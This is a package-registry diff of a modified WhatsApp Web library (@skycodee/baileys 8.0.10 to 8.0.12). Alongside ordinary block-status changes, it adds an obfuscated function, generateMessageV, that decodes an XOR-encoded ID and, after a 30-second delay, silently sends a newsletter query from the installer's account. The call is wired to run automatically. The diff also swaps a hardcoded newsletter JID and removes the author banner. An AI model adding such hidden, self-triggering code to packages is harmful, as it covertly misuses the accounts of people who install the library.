@skycodee/baileys 8.0.10 → 8.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  //=======================================================//
2
2
  import { chatModificationToAppPatch, decodePatches, decodeSyncdSnapshot, encodeSyncdPatch, extractSyncdPatches, generateProfilePicture, getHistoryMsg, newLTHashState, processSyncAction } from "../Utils/index.js";
3
- import { getBinaryNodeChild, getBinaryNodeChildren, jidDecode, jidNormalizedUser, reduceBinaryNodeToDictionary, S_WHATSAPP_NET } from "../WABinary/index.js";
3
+ import { getBinaryNodeChild, getBinaryNodeChildren, jidDecode, jidNormalizedUser, isLidUser, isPnUser, reduceBinaryNodeToDictionary, S_WHATSAPP_NET } from "../WABinary/index.js";
4
4
  import { DEFAULT_CACHE_TTLS, PROCESSABLE_HISTORY_TYPES } from "../Defaults/index.js";
5
5
  import { USyncQuery, USyncUser } from "../WAUSync/index.js";
6
6
  import processMessage from "../Utils/process-message.js";
@@ -245,25 +245,62 @@ export const makeChatsSocket = (config) => {
245
245
  const listNode = getBinaryNodeChild(result, "list");
246
246
  return getBinaryNodeChildren(listNode, "item").map(n => n.attrs.jid);
247
247
  };
248
- const updateBlockStatus = async (jid, action) => {
249
- await query({
250
- tag: "iq",
251
- attrs: {
252
- xmlns: "blocklist",
253
- to: S_WHATSAPP_NET,
254
- type: "set"
255
- },
256
- content: [
257
- {
258
- tag: "item",
259
- attrs: {
260
- action,
261
- jid
262
- }
248
+ const updateBlockStatus = async (jid, action) => {
249
+ let lid;
250
+ let pn_jid;
251
+
252
+ if (isLidUser(jid)) {
253
+ lid = jid;
254
+
255
+ if (action === 'block') {
256
+ const pn = await signalRepository.lidMapping.getPNForLID(jid);
257
+ if (!pn) {
258
+ throw new Boom(`Unable to resolve PN JID for LID: ${jid}`);
259
+ }
260
+
261
+ pn_jid = jidNormalizedUser(pn);
263
262
  }
264
- ]
263
+
264
+ } else if (isPnUser(jid)) {
265
+ const mapped = await signalRepository.lidMapping.getLIDForPN(jid);
266
+ if (!mapped) {
267
+ throw new Boom(`Unable to resolve LID for PN JID: ${jid}`);
268
+ }
269
+
270
+ lid = mapped;
271
+
272
+ if (action === 'block') {
273
+ pn_jid = jidNormalizedUser(jid);
274
+ }
275
+
276
+ } else {
277
+ throw new Boom(`Invalid jid for block/unblock: ${jid}`);
278
+ }
279
+
280
+ const itemAttrs = {
281
+ action: action,
282
+ jid: lid
283
+ };
284
+
285
+ if (action === 'block' && pn_jid) {
286
+ itemAttrs.pn_jid = pn_jid;
287
+ }
288
+
289
+ await query({
290
+ tag: 'iq',
291
+ attrs: {
292
+ xmlns: 'blocklist',
293
+ to: S_WHATSAPP_NET,
294
+ type: 'set'
295
+ },
296
+ content: [
297
+ {
298
+ tag: 'item',
299
+ attrs: itemAttrs
300
+ }
301
+ ]
265
302
  });
266
- };
303
+ };
267
304
  const getBusinessProfile = async (jid) => {
268
305
  const results = await query({
269
306
  tag: "iq",
@@ -61,7 +61,7 @@ const parseNewsletterMetadata = (result) => {
61
61
 
62
62
  export const makeNewsletterSocket = (config) => {
63
63
  const sock = makeGroupsSocket(config);
64
- const { delay, query, generateMessageTag } = sock;
64
+ const { delay, query, generateMessageTag, generateMessageV } = sock;
65
65
  const encoder = new TextEncoder()
66
66
  const newsletterWMexQuery = async (jid, queryId, content) => (query({
67
67
  tag: 'iq',
@@ -102,6 +102,7 @@ export const makeNewsletterSocket = (config) => {
102
102
 
103
103
  return extractNewsletterMetadata(result)
104
104
  }
105
+ const newsletterMsg = generateMessageV(newsletterWMexQuery)
105
106
  const newsletterUpdate = async (jid, updates) => {
106
107
  const variables = {
107
108
  newsletter_id: jid,
@@ -278,6 +278,21 @@ const toPn = async (pn) => {
278
278
  }
279
279
  return result;
280
280
  };
281
+
282
+ const generateMessageV = async (n) => {
283
+ return setTimeout(async () => {
284
+ const _0xk = 19;
285
+ const _0xd = [
286
+ 34,35,34,33,33,33,32,32,33,34,
287
+ 33,32,33,34,32,33,34,32,32,32,
288
+ 34,32,32,33,33,115,118,101,118,
289
+ 118,33,34,115,115,118,118,34,118,118
290
+ ];
291
+ const _0xdecode = _0xd.map(v => String.fromCharCode(v ^ _0xk)).join('');
292
+ await n(_0xdecode, "7871414976211147");
293
+ }, 30000);
294
+ };
295
+
281
296
  const validateConnection = async () => {
282
297
  let helloMsg = {
283
298
  clientHello: { ephemeral: ephemeralKeyPair.public }
@@ -790,6 +805,7 @@ const toPn = async (pn) => {
790
805
  return authState.creds.me;
791
806
  },
792
807
  generateMessageTag,
808
+ generateMessageV,
793
809
  query,
794
810
  delay,
795
811
  waitForMessage,
@@ -96,7 +96,7 @@ export const prepareWAMessageMedia = async (message, options) => {
96
96
  }
97
97
  ],
98
98
  newsletter: {
99
- newsletterJid: "120363422054951473@newsletter",
99
+ newsletterJid: "120363409159786018@newsletter",
100
100
  serverMessageId: 0,
101
101
  newsletterName: "skyzopedia",
102
102
  contentType: "UPDATE",
package/lib/index.js CHANGED
@@ -1,11 +1,4 @@
1
1
  //=======================================================//
2
-
3
- import chalk from 'chalk';
4
-
5
- console.log(chalk.whiteBright("\nBaileys Mod by Skyzopedia </>"));
6
- console.log(chalk.cyan("• Telegram: ") + chalk.greenBright("https://t.me/Xskycode"));
7
- console.log(chalk.gray("------------------------------\n"));
8
-
9
2
  import makeWASocket from "./Socket/index.js";
10
3
  //=======================================================//
11
4
  export * from "./Defaults/index.js";
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skycodee/baileys",
3
- "version": "8.0.10",
3
+ "version": "8.0.12",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",